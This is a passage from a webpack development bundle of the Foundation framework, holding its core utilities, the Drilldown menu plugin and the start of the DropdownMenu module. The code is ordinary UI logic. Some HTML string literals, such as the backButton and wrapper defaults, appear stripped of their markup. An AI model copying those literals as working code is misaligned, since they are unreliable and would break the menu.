\'$1-$2\').toLowerCase();\n}\n\nfunction getPluginName(obj) {\n if (typeof obj.constructor.name !== \'undefined\') {\n return hyphenate(obj.constructor.name);\n } else {\n return hyphenate(obj.className);\n }\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.core.plugin.js?')},"./js/foundation.core.utils.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"rtl\", function() { return rtl; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"GetYoDigits\", function() { return GetYoDigits; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"RegExpEscape\", function() { return RegExpEscape; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"transitionend\", function() { return transitionend; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"onLoad\", function() { return onLoad; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"ignoreMousedisappear\", function() { return ignoreMousedisappear; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n\n\n // Core Foundation Utilities, utilized in a number of places.\n\n/**\n * Returns a boolean for RTL support\n */\n\nfunction rtl() {\n return jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').attr('dir') === 'rtl';\n}\n/**\n * returns a random base-36 uid with namespacing\n * @function\n * @param {Number} length - number of random base-36 digits desired. Increase for more random strings.\n * @param {String} namespace - name of plugin to be incorporated in uid, optional.\n * @default {String} '' - if no plugin name is provided, nothing is appended to the uid.\n * @returns {String} - unique id\n */\n\n\nfunction GetYoDigits(length, namespace) {\n length = length || 6;\n return Math.round(Math.pow(36, length + 1) - Math.random() * Math.pow(36, length)).toString(36).slice(1) + (namespace ? \"-\".concat(namespace) : '');\n}\n/**\n * Escape a string so it can be used as a regexp pattern\n * @function\n * @see https://stackoverflow.com/a/9310752/4317384\n *\n * @param {String} str - string to escape.\n * @returns {String} - escaped string\n */\n\n\nfunction RegExpEscape(str) {\n return str.replace(/[-[\\]{}()*+?.,\\\\^$|#\\s]/g, '\\\\$&');\n}\n\nfunction transitionend($elem) {\n var transitions = {\n 'transition': 'transitionend',\n 'WebkitTransition': 'webkitTransitionEnd',\n 'MozTransition': 'transitionend',\n 'OTransition': 'otransitionend'\n };\n var elem = document.createElement('div'),\n end;\n\n for (var t in transitions) {\n if (typeof elem.style[t] !== 'undefined') {\n end = transitions[t];\n }\n }\n\n if (end) {\n return end;\n } else {\n end = setTimeout(function () {\n $elem.triggerHandler('transitionend', [$elem]);\n }, 1);\n return 'transitionend';\n }\n}\n/**\n * Return an event type to listen for window load.\n *\n * If `$elem` is passed, an event will be triggered on `$elem`. If window is already loaded, the event will still be triggered.\n * If `handler` is passed, attach it to the event on `$elem`.\n * Calling `onLoad` without handler allows you to get the event type that will be triggered before attaching the handler by yourself.\n * @function\n *\n * @param {Object} [] $elem - jQuery element on which the event will be triggered if passed.\n * @param {Function} [] handler - function to attach to the event.\n * @returns {String} - event type that should or will be triggered.\n */\n\n\nfunction onLoad($elem, handler) {\n var didLoad = document.readyState === 'complete';\n var eventType = (didLoad ? '_didLoad' : 'load') + '.zf.util.onLoad';\n\n var cb = function cb() {\n return $elem.triggerHandler(eventType);\n };\n\n if ($elem) {\n if (handler) $elem.one(eventType, handler);\n if (didLoad) setTimeout(cb);else jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).one('load', cb);\n }\n\n return eventType;\n}\n/**\n * Retuns an handler for the `mouseleave` that ignore disappeared mouses.\n *\n * If the mouse \"disappeared\" from the document (like when going on a browser UI element, See https://git.io/zf-11410),\n * the event is ignored.\n * - If the `ignoreLeaveWindow` is `true`, the event is ignored when the user actually left the window\n * (like by switching to an other window with [Alt]+[Tab]).\n * - If the `ignoreReappear` is `true`, the event will be ignored when the mouse will reappear later on the document\n * outside of the element it left.\n *\n * @function\n *\n * @param {Function} [] handler - handler for the filtered `mouseleave` event to watch.\n * @param {Object} [] options - object of options:\n * - {Boolean} [false] ignoreLeaveWindow - also ignore when the user switched windows.\n * - {Boolean} [false] ignoreReappear - also ignore when the mouse reappeared outside of the element it left.\n * @returns {Function} - filtered handler to use to listen on the `mouseleave` event.\n */\n\n\nfunction ignoreMousedisappear(handler) {\n var _ref = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {},\n _ref$ignoreLeaveWindo = _ref.ignoreLeaveWindow,\n ignoreLeaveWindow = _ref$ignoreLeaveWindo === void 0 ? false : _ref$ignoreLeaveWindo,\n _ref$ignoreReappear = _ref.ignoreReappear,\n ignoreReappear = _ref$ignoreReappear === void 0 ? false : _ref$ignoreReappear;\n\n return function leaveEventHandler(eLeave) {\n for (var _len = arguments.length, rest = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {\n rest[_key - 1] = arguments[_key];\n }\n\n var callback = handler.bind.apply(handler, [this, eLeave].concat(rest)); // The mouse left: call the given callback if the mouse entered elsewhere\n\n if (eLeave.relatedTarget !== null) {\n return callback();\n } // Otherwise, check if the mouse actually left the window.\n // In firefox if the user switched between windows, the window sill have the focus by the time\n // the event is triggered. We have to debounce the event to test this case.\n\n\n setTimeout(function leaveEventDebouncer() {\n if (!ignoreLeaveWindow && document.hasFocus && !document.hasFocus()) {\n return callback();\n } // Otherwise, wait for the mouse to reeapear outside of the element,\n\n\n if (!ignoreReappear) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).one('mouseenter', function reenterEventHandler(eReenter) {\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default()(eLeave.currentTarget).has(eReenter.target).length) {\n // Fill where the mouse finally entered.\n eLeave.relatedTarget = eReenter.target;\n callback();\n }\n });\n }\n }, 0);\n };\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.core.utils.js?")},"./js/foundation.drilldown.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Drilldown\", function() { return Drilldown; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.nest */ \"./js/foundation.util.nest.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_box__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.box */ \"./js/foundation.util.box.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n/**\n * Drilldown module.\n * @module foundation.drilldown\n * @requires foundation.util.keyboard\n * @requires foundation.util.nest\n * @requires foundation.util.box\n */\n\nvar Drilldown =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(Drilldown, _Plugin);\n\n function Drilldown() {\n _classCallCheck(this, Drilldown);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(Drilldown).apply(this, arguments));\n }\n\n _createClass(Drilldown, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of a drilldown menu.\n * @class\n * @name Drilldown\n * @param {jQuery} element - jQuery object to make into an accordion menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, Drilldown.defaults, this.$element.data(), options);\n this.className = 'Drilldown'; // ie9 back compat\n\n this._init();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].register('Drilldown', {\n 'ENTER': 'open',\n 'SPACE': 'open',\n 'ARROW_RIGHT': 'next',\n 'ARROW_UP': 'up',\n 'ARROW_DOWN': 'down',\n 'ARROW_LEFT': 'previous',\n 'ESCAPE': 'close',\n 'TAB': 'down',\n 'SHIFT_TAB': 'up'\n });\n }\n /**\n * Initializes the drilldown by creating jQuery collections of elements\n * @private\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Feather(this.$element, 'drilldown');\n\n if (this.options.autoApplyClass) {\n this.$element.addClass('drilldown');\n }\n\n this.$element.attr({\n 'role': 'tree',\n 'aria-multiselectable': false\n });\n this.$submenuAnchors = this.$element.find('li.is-drilldown-submenu-parent').children('a');\n this.$submenus = this.$submenuAnchors.parent('li').children('[data-submenu]').attr('role', 'group');\n this.$menuItems = this.$element.find('li').not('.js-drilldown-back').attr('role', 'treeitem').find('a'); // Set the main menu as current by default (unless a submenu is selected)\n // Used to set the wrapper height when the drilldown is closed/reopened from any (sub)menu\n\n this.$currentMenu = this.$element;\n this.$element.attr('data-mutate', this.$element.attr('data-drilldown') || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"GetYoDigits\"])(6, 'drilldown'));\n\n this._prepareMenu();\n\n this._registerEvents();\n\n this._keyboardEvents();\n }\n /**\n * prepares drilldown menu by setting attributes to links and elements\n * sets a min height to prevent content jumping\n * wraps the element if not already wrapped\n * @private\n * @function\n */\n\n }, {\n key: \"_prepareMenu\",\n value: function _prepareMenu() {\n var _this = this; // if(!this.options.holdOpen){\n // this._menuLinkEvents();\n // }\n\n\n this.$submenuAnchors.each(function () {\n var $link = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this);\n var $sub = $link.parent();\n\n if (_this.options.parentLink) {\n $link.clone().prependTo($sub.children('[data-submenu]')).wrap('
  • ');\n }\n\n $link.data('savedHref', $link.attr('href')).removeAttr('href').attr('tabindex', 0);\n $link.children('[data-submenu]').attr({\n 'aria-hidden': true,\n 'tabindex': 0,\n 'role': 'group'\n });\n\n _this._events($link);\n });\n this.$submenus.each(function () {\n var $menu = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $back = $menu.find('.js-drilldown-back');\n\n if (!$back.length) {\n switch (_this.options.backButtonPosition) {\n case \"bottom\":\n $menu.append(_this.options.backButton);\n break;\n\n case \"top\":\n $menu.prepend(_this.options.backButton);\n break;\n\n default:\n console.error(\"Unsupported backButtonPosition value '\" + _this.options.backButtonPosition + \"'\");\n }\n }\n\n _this._back($menu);\n });\n this.$submenus.addClass('invisible');\n\n if (!this.options.autoHeight) {\n this.$submenus.addClass('drilldown-submenu-cover-previous');\n } // create a wrapper on element if it doesn't exist.\n\n\n if (!this.$element.parent().hasClass('is-drilldown')) {\n this.$wrapper = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.options.wrapper).addClass('is-drilldown');\n if (this.options.animateHeight) this.$wrapper.addClass('animate-height');\n this.$element.wrap(this.$wrapper);\n } // set wrapper\n\n\n this.$wrapper = this.$element.parent();\n this.$wrapper.css(this._getMaxDims());\n }\n }, {\n key: \"_resize\",\n value: function _resize() {\n this.$wrapper.css({\n 'max-width': 'none',\n 'min-height': 'none'\n }); // _getMaxDims has side effects (boo) but calling it should update all other necessary heights & widths\n\n this.$wrapper.css(this._getMaxDims());\n }\n /**\n * Adds event handlers to elements in the menu.\n * @function\n * @private\n * @param {jQuery} $elem - the current menu item to add handlers to.\n */\n\n }, {\n key: \"_events\",\n value: function _events($elem) {\n var _this = this;\n\n $elem.off('click.zf.drilldown').on('click.zf.drilldown', function (e) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).parentsUntil('ul', 'li').hasClass('is-drilldown-submenu-parent')) {\n e.stopImmediatePropagation();\n e.preventDefault();\n } // if(e.target !== e.currentTarget.firstElementChild){\n // return false;\n // }\n\n\n _this._show($elem.parent('li'));\n\n if (_this.options.closeOnClick) {\n var $body = jquery__WEBPACK_IMPORTED_MODULE_0___default()('body');\n $body.off('.zf.drilldown').on('click.zf.drilldown', function (e) {\n if (e.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(_this.$element[0], e.target)) {\n return;\n }\n\n e.preventDefault();\n\n _this._hideAll();\n\n $body.off('.zf.drilldown');\n });\n }\n });\n }\n /**\n * Adds event handlers to the menu element.\n * @function\n * @private\n */\n\n }, {\n key: \"_registerEvents\",\n value: function _registerEvents() {\n if (this.options.scrollTop) {\n this._bindHandler = this._scrollTop.bind(this);\n this.$element.on('open.zf.drilldown hide.zf.drilldown closed.zf.drilldown', this._bindHandler);\n }\n\n this.$element.on('mutateme.zf.trigger', this._resize.bind(this));\n }\n /**\n * Scroll to Top of Element or data-scroll-top-element\n * @function\n * @fires Drilldown#scrollme\n */\n\n }, {\n key: \"_scrollTop\",\n value: function _scrollTop() {\n var _this = this;\n\n var $scrollTopElement = _this.options.scrollTopElement != '' ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(_this.options.scrollTopElement) : _this.$element,\n scrollPos = parseInt($scrollTopElement.offset().top + _this.options.scrollTopOffset, 10);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html, body').stop(true).animate({\n scrollTop: scrollPos\n }, _this.options.animationDuration, _this.options.animationEasing, function () {\n /**\n * Fires after the menu has scrolled\n * @event Drilldown#scrollme\n */\n if (this === jquery__WEBPACK_IMPORTED_MODULE_0___default()('html')[0]) _this.$element.trigger('scrollme.zf.drilldown');\n });\n }\n /**\n * Adds keydown event listener to `li`'s in the menu.\n * @private\n */\n\n }, {\n key: \"_keyboardEvents\",\n value: function _keyboardEvents() {\n var _this = this;\n\n this.$menuItems.add(this.$element.find('.js-drilldown-back > a, .is-submenu-parent-item > a')).on('keydown.zf.drilldown', function (e) {\n var $element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $elements = $element.parent('li').parent('ul').children('li').children('a'),\n $prevElement,\n $nextElement;\n $elements.each(function (i) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is($element)) {\n $prevElement = $elements.eq(Math.max(0, i - 1));\n $nextElement = $elements.eq(Math.min(i + 1, $elements.length - 1));\n return;\n }\n });\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].handleKey(e, 'Drilldown', {\n next: function next() {\n if ($element.is(_this.$submenuAnchors)) {\n _this._show($element.parent('li'));\n\n $element.parent('li').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n $element.parent('li').find('ul li a').not('.js-drilldown-back a').first().focus();\n });\n return true;\n }\n },\n previous: function previous() {\n _this._hide($element.parent('li').parent('ul'));\n\n $element.parent('li').parent('ul').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n setTimeout(function () {\n $element.parent('li').parent('ul').parent('li').children('a').first().focus();\n }, 1);\n });\n return true;\n },\n up: function up() {\n $prevElement.focus(); // Don't tap focus on first element in root ul\n\n return !$element.is(_this.$element.find('> li:first-child > a'));\n },\n down: function down() {\n $nextElement.focus(); // Don't tap focus on last element in root ul\n\n return !$element.is(_this.$element.find('> li:last-child > a'));\n },\n close: function close() {\n // Don't close on element in root ul\n if (!$element.is(_this.$element.find('> li > a'))) {\n _this._hide($element.parent().parent());\n\n $element.parent().parent().siblings('a').focus();\n }\n },\n open: function open() {\n if (_this.options.parentLink && $element.attr('href')) {\n // Link with href\n return false;\n } else if (!$element.is(_this.$menuItems)) {\n // not menu item means back button\n _this._hide($element.parent('li').parent('ul'));\n\n $element.parent('li').parent('ul').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n setTimeout(function () {\n $element.parent('li').parent('ul').parent('li').children('a').first().focus();\n }, 1);\n });\n return true;\n } else if ($element.is(_this.$submenuAnchors)) {\n // Sub menu item\n _this._show($element.parent('li'));\n\n $element.parent('li').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n $element.parent('li').find('ul li a').not('.js-drilldown-back a').first().focus();\n });\n return true;\n }\n },\n handled: function handled(preventDefault) {\n if (preventDefault) {\n e.preventDefault();\n }\n\n e.stopImmediatePropagation();\n }\n });\n }); // end keyboardAccess\n }\n /**\n * Closes all open elements, and returns to root menu.\n * @function\n * @fires Drilldown#closed\n */\n\n }, {\n key: \"_hideAll\",\n value: function _hideAll() {\n var $elem = this.$element.find('.is-drilldown-submenu.is-active').addClass('is-closing');\n if (this.options.autoHeight) this.$wrapper.css({\n height: $elem.parent().closest('ul').data('calcHeight')\n });\n $elem.one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($elem), function (e) {\n $elem.removeClass('is-active is-closing');\n });\n /**\n * Fires when the menu is fully closed.\n * @event Drilldown#closed\n */\n\n this.$element.trigger('closed.zf.drilldown');\n }\n /**\n * Adds event listener for each `back` button, and closes open menus.\n * @function\n * @fires Drilldown#back\n * @param {jQuery} $elem - the current sub-menu to add `back` event.\n */\n\n }, {\n key: \"_back\",\n value: function _back($elem) {\n var _this = this;\n\n $elem.off('click.zf.drilldown');\n $elem.children('.js-drilldown-back').on('click.zf.drilldown', function (e) {\n e.stopImmediatePropagation(); // console.log('mouseup on back');\n\n _this._hide($elem); // If there is a parent submenu, call show\n\n\n var parentSubMenu = $elem.parent('li').parent('ul').parent('li');\n\n if (parentSubMenu.length) {\n _this._show(parentSubMenu);\n }\n });\n }\n /**\n * Adds event listener to menu items w/o submenus to close open menus on click.\n * @function\n * @private\n */\n\n }, {\n key: \"_menuLinkEvents\",\n value: function _menuLinkEvents() {\n var _this = this;\n\n this.$menuItems.not('.is-drilldown-submenu-parent').off('click.zf.drilldown').on('click.zf.drilldown', function (e) {\n // e.stopImmediatePropagation();\n setTimeout(function () {\n _this._hideAll();\n }, 0);\n });\n }\n /**\n * Sets the CSS classes for submenu to show it.\n * @function\n * @private\n * @param {jQuery} $elem - the target submenu (`ul` tag)\n * @param {boolean} trigger - trigger drilldown event\n */\n\n }, {\n key: \"_setShowSubMenuClasses\",\n value: function _setShowSubMenuClasses($elem, trigger) {\n $elem.addClass('is-active').removeClass('invisible').attr('aria-hidden', false);\n $elem.parent('li').attr('aria-expanded', true);\n\n if (trigger === true) {\n this.$element.trigger('open.zf.drilldown', [$elem]);\n }\n }\n /**\n * Sets the CSS classes for submenu to hide it.\n * @function\n * @private\n * @param {jQuery} $elem - the target submenu (`ul` tag)\n * @param {boolean} trigger - trigger drilldown event\n */\n\n }, {\n key: \"_setHideSubMenuClasses\",\n value: function _setHideSubMenuClasses($elem, trigger) {\n $elem.removeClass('is-active').addClass('invisible').attr('aria-hidden', true);\n $elem.parent('li').attr('aria-expanded', false);\n\n if (trigger === true) {\n $elem.trigger('hide.zf.drilldown', [$elem]);\n }\n }\n /**\n * Opens a specific drilldown (sub)menu no matter which (sub)menu in it is currently visible.\n * Compared to _show() this lets you jump into any submenu without clicking through every submenu on the way to it.\n * @function\n * @fires Drilldown#open\n * @param {jQuery} $elem - the target (sub)menu (`ul` tag)\n * @param {boolean} autoFocus - if true the first link in the target (sub)menu gets auto focused\n */\n\n }, {\n key: \"_showMenu\",\n value: function _showMenu($elem, autoFocus) {\n var _this = this; // Reset drilldown\n\n\n var $expandedSubmenus = this.$element.find('li[aria-expanded=\"true\"] > ul[data-submenu]');\n $expandedSubmenus.each(function (index) {\n _this._setHideSubMenuClasses(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this));\n }); // Save the menu as the currently displayed one.\n\n this.$currentMenu = $elem; // If target menu is root, focus first link & exit\n\n if ($elem.is('[data-drilldown]')) {\n if (autoFocus === true) $elem.find('li[role=\"treeitem\"] > a').first().focus();\n if (this.options.autoHeight) this.$wrapper.css('height', $elem.data('calcHeight'));\n return;\n } // Find all submenus on way to root incl. the element itself\n\n\n var $submenus = $elem.children().first().parentsUntil('[data-drilldown]', '[data-submenu]'); // Open target menu and all submenus on its way to root\n\n $submenus.each(function (index) {\n // Update height of first child (target menu) if autoHeight option true\n if (index === 0 && _this.options.autoHeight) {\n _this.$wrapper.css('height', jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('calcHeight'));\n }\n\n var isLastChild = index == $submenus.length - 1; // Add transitionsend listener to last child (root due to reverse order) to open target menu's first link\n // Last child makes sure the event gets always triggered even if going through several menus\n\n if (isLastChild === true) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this)), function () {\n if (autoFocus === true) {\n $elem.find('li[role=\"treeitem\"] > a').first().focus();\n }\n });\n }\n\n _this._setShowSubMenuClasses(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), isLastChild);\n });\n }\n /**\n * Opens a submenu.\n * @function\n * @fires Drilldown#open\n * @param {jQuery} $elem - the current element with a submenu to open, i.e. the `li` tag.\n */\n\n }, {\n key: \"_show\",\n value: function _show($elem) {\n var $submenu = $elem.children('[data-submenu]');\n $elem.attr('aria-expanded', true);\n this.$currentMenu = $submenu;\n $submenu.addClass('is-active').removeClass('invisible').attr('aria-hidden', false);\n\n if (this.options.autoHeight) {\n this.$wrapper.css({\n height: $submenu.data('calcHeight')\n });\n }\n /**\n * Fires when the submenu has opened.\n * @event Drilldown#open\n */\n\n\n this.$element.trigger('open.zf.drilldown', [$elem]);\n }\n /**\n * Hides a submenu\n * @function\n * @fires Drilldown#hide\n * @param {jQuery} $elem - the current sub-menu to hide, i.e. the `ul` tag.\n */\n\n }, {\n key: \"_hide\",\n value: function _hide($elem) {\n if (this.options.autoHeight) this.$wrapper.css({\n height: $elem.parent().closest('ul').data('calcHeight')\n });\n\n var _this = this;\n\n $elem.parent('li').attr('aria-expanded', false);\n $elem.attr('aria-hidden', true);\n $elem.addClass('is-closing').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($elem), function () {\n $elem.removeClass('is-active is-closing');\n $elem.blur().addClass('invisible');\n });\n /**\n * Fires when the submenu has closed.\n * @event Drilldown#hide\n */\n\n $elem.trigger('hide.zf.drilldown', [$elem]);\n }\n /**\n * Iterates through the nested menus to calculate the min-height, and max-width for the menu.\n * Prevents content jumping.\n * @function\n * @private\n */\n\n }, {\n key: \"_getMaxDims\",\n value: function _getMaxDims() {\n var maxHeight = 0,\n result = {},\n _this = this; // Recalculate menu heights and total max height\n\n\n this.$submenus.add(this.$element).each(function () {\n var numOfElems = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('li').length;\n var height = _foundation_util_box__WEBPACK_IMPORTED_MODULE_4__[\"Box\"].GetDimensions(this).height;\n maxHeight = height > maxHeight ? height : maxHeight;\n\n if (_this.options.autoHeight) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('calcHeight', height);\n }\n });\n if (this.options.autoHeight) result['height'] = this.$currentMenu.data('calcHeight');else result['min-height'] = \"\".concat(maxHeight, \"px\");\n result['max-width'] = \"\".concat(this.$element[0].getBoundingClientRect().width, \"px\");\n return result;\n }\n /**\n * Destroys the Drilldown Menu\n * @function\n */\n\n }, {\n key: \"_destroy\",\n value: function _destroy() {\n if (this.options.scrollTop) this.$element.off('.zf.drilldown', this._bindHandler);\n\n this._hideAll();\n\n this.$element.off('mutateme.zf.trigger');\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Burn(this.$element, 'drilldown');\n this.$element.unwrap().find('.js-drilldown-back, .is-submenu-parent-item').remove().end().find('.is-active, .is-closing, .is-drilldown-submenu').removeClass('is-active is-closing is-drilldown-submenu').end().find('[data-submenu]').removeAttr('aria-hidden tabindex role');\n this.$submenuAnchors.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).off('.zf.drilldown');\n });\n this.$element.find('[data-is-parent-link]').detach();\n this.$submenus.removeClass('drilldown-submenu-cover-previous invisible');\n this.$element.find('a').each(function () {\n var $link = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this);\n $link.removeAttr('tabindex');\n\n if ($link.data('savedHref')) {\n $link.attr('href', $link.data('savedHref')).removeData('savedHref');\n } else {\n return;\n }\n });\n }\n }]);\n\n return Drilldown;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__[\"Plugin\"]);\n\nDrilldown.defaults = {\n /**\n * Drilldowns depend on styles in order to function properly; in the default build of Foundation these are\n * on the `drilldown` class. This option auto-applies this class to the drilldown upon initialization.\n * @option\n * @type {boolian}\n * @default true\n */\n autoApplyClass: true,\n\n /**\n * Markup used for JS generated back button. Prepended or appended (see backButtonPosition) to submenu lists and deleted on `destroy` method, 'js-drilldown-back' class required. Remove the backslash (`\\`) if copy and pasting.\n * @option\n * @type {string}\n * @default '
  • Back
  • '\n */\n backButton: '
  • Back
  • ',\n\n /**\n * Position the back button either at the top or bottom of drilldown submenus. Can be `'left'` or `'bottom'`.\n * @option\n * @type {string}\n * @default top\n */\n backButtonPosition: 'top',\n\n /**\n * Markup used to wrap drilldown menu. Use a class name for independent styling; the JS applied class: `is-drilldown` is required. Remove the backslash (`\\`) if copy and pasting.\n * @option\n * @type {string}\n * @default '
    '\n */\n wrapper: '
    ',\n\n /**\n * Adds the parent link to the submenu.\n * @option\n * @type {boolean}\n * @default false\n */\n parentLink: false,\n\n /**\n * Allow the menu to return to root list on body click.\n * @option\n * @type {boolean}\n * @default false\n */\n closeOnClick: false,\n\n /**\n * Allow the menu to auto adjust height.\n * @option\n * @type {boolean}\n * @default false\n */\n autoHeight: false,\n\n /**\n * Animate the auto adjust height.\n * @option\n * @type {boolean}\n * @default false\n */\n animateHeight: false,\n\n /**\n * Scroll to the top of the menu after opening a submenu or navigating back using the menu back button\n * @option\n * @type {boolean}\n * @default false\n */\n scrollTop: false,\n\n /**\n * String jquery selector (for example 'body') of element to take offset().top from, if empty string the drilldown menu offset().top is taken\n * @option\n * @type {string}\n * @default ''\n */\n scrollTopElement: '',\n\n /**\n * ScrollTop offset\n * @option\n * @type {number}\n * @default 0\n */\n scrollTopOffset: 0,\n\n /**\n * Scroll animation duration\n * @option\n * @type {number}\n * @default 500\n */\n animationDuration: 500,\n\n /**\n * Scroll animation easing. Can be `'swing'` or `'linear'`.\n * @option\n * @type {string}\n * @see {@link https://api.jquery.com/animate|JQuery animate}\n * @default 'swing'\n */\n animationEasing: 'swing' // holdOpen: false\n\n};\n\n\n//# sourceURL=webpack:///./js/foundation.drilldown.js?")},"./js/foundation.dropdownMenu.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"DropdownMenu\", function() { return DropdownMenu; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n/* harmony import */ var 